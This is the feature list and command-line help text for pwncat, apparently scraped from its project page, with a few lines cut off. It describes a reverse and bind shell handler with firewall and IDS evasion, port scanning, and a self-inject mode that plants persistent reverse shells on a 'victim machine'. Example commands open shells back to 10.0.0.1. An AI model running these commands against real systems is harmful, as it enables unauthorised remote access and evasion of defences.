pwncat is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to
pwncat is like netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and forwarding magic - and its fully scriptable with Python (PSE)
If you found a vulnerability on the target to start a very simple reverse shell, such as via bash, php, perl, python, nc or similar, you can instruct your local pwncat listener to use this connection to deploy itself on the target automatically and start four additional unbreakable reverse shells back to you.
pwncat -l 4444 --self-inject /bin/sh:10.0.0.1:4445+3
Fully Python scriptable with Pwncat Scripting Engine to allow all kinds of stuff on send and receive actions
Self-injecting mode to deploy itself and auto-start multiple unbreakable reverse shells back to you
Reverse shell will reconnect to you if you accidentally hit Ctrl+c
This works by adding TCP-like stateful features to it. Try this with the traditional
Create normal bind shells for any operating system over IPv4, IPv6 or both
Create normal reverse shells for any operating system over IPv4, IPV6 or both
Built-in version detection while doing a TCP or UDP port scan.
Allows for stable local port forward by acting as a proxy server
Allows for stable remote port forward by acting as a double client proxy
Scan and report outbound open ports via port hopping connections
Evade EGRESS firewalls with outbound round-robin reverse shells
Wrap your traffic into any other protocol or self-encrypt it
Handle IPS by to choose new target ports on connection loss/cut
IPv4 and IPv6 dual-stack support - autodetect whatever a server offers
Any feature is available via both protocols: TCP and UDP
Stateful connect phase for UDP client mode - allows your listener to detect a connecting client.
ncat exchangably with
pwncat in server or client mode
pwncat works with Python 2,7, 3.5, 3.6, 3.7, 3.8 and even with pypy2 and pypy
pwncat is written only with Python core libraries to allow it to run without having to install something
Works and is tested on various Linux, MacOS and Windows versions - as long as Python is available
usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help
Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems. If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.
positional arguments: hostname Address to listen, forward, scan or connect to. port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2
mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour. -z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection. -L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address) -R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.
optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode. -C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS). -n, --nodns Do not resolve DNS. --send-on-eof Buffer data received on stdin until EOF and send everything in one chunk. --no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior. -v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times. --info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv). -c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto) --safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.
protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack). -6 Only Use IPv6 (default: IPv4 and IPv6 dualstack). -u, --udp Use UDP for the connection instead of TCP. -T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'. --http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS. --https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS. -H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).
command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.
pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). --script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().
zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.
listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone) --rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try). --rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1) --rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.
connect mode arguments: --source-addr addr Specify source bind IP address for connect mode. --source-port port Specify source bind port for connect mode. --reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection. --reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1) --reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed. --ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0') --ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0') --ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported. --ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster. --udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word. --udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.
misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit